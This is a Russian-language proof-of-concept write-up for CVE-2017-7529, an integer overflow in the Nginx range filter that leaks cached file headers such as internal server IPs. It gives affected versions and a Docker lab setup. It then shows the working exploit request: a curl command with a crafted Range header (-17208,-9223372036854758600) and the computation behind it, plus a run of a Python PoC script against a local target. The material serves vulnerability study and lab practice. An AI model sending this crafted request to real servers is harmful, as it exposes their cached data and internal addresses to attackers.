
Эксплойт, подтверждающий концепцию, для целочисленного переполнения в Nginx (CVE-2017-7529), позволяющий раскрытие заголовков кэша через специально сформированные запросы диапазона, с лабораторной средой на базе Docker и скриптом POC на Python.
При использовании стандартного модуля nginx злоумышленник может получить информацию из заголовка кэшированного файла в ответе, отправив запрос с вредоносно сформированным заголовком range. В некоторых конфигурациях заголовок кэшированного файла может содержать IP-адрес внутреннего сервера или другую конфиденциальную информацию, что приводит к утечке информации.
Ссылка: Анализ уязвимости: предупреждение о целочисленном переполнении range фильтра Nginx (CVE–2017–7529)
Уязвимость затрагивает все версии nginx с 0.5.6 по 1.13.2 с модулем по умолчанию. Достаточно включить кэш, и злоумышленник может отправить вредоносный запрос для удалённой атаки, вызывающей утечку информации.
Когда Nginx используется с прокси-кэшем, злоумышленник может с помощью этой уязвимости получить реальный IP-адрес внутреннего сервера или другую конфиденциальную информацию.
По нашему анализу, эта уязвимость имеет низкую сложность эксплуатации и относится к категории "low-hanging fruit", что даёт ей определённую ценность в реальных сетевых атаках.
Nginx version 0.5.6 - 1.13.2
Nginx version 1.13.3, 1.12.1
$ docker pull medicean/vulapps:n_nginx_1
$ docker run -d -p 8000:80 medicean/vulapps:n_nginx_1
-p 8000:80Первое значение 8000 обозначает порт физической машины, его можно задать произвольно.
$ curl -I http://127.0.0.1:8000/proxy/demo.png
HTTP/1.1 200 OK
Server: nginx/1.13.1
Date: Wed, 12 Jul 2017 15:57:57 GMT
Content-Type: image/png
Content-Length: 16585
Connection: keep-alive
Last-Modified: Wed, 12 Jul 2017 15:57:57 GMT
ETag: W/"40c9-5543e4fad0d40"
X-Proxy-Cache:: MISS
Accept-Ranges: bytes
Видим Content-Length: 16585. Находим значение больше этого, например 17208. Второе значение range равно 0x8000000000000000-17208, что соответствует 9223372036854758600.
$ curl -i http://127.0.0.1:8000/proxy/demo.png -r -17208,-9223372036854758600
Видим результат:

$ python poc.py http://127.0.0.1:8000/proxy/demo.png
Vulnerable: http://127.0.0.1:8000/proxy/demo.png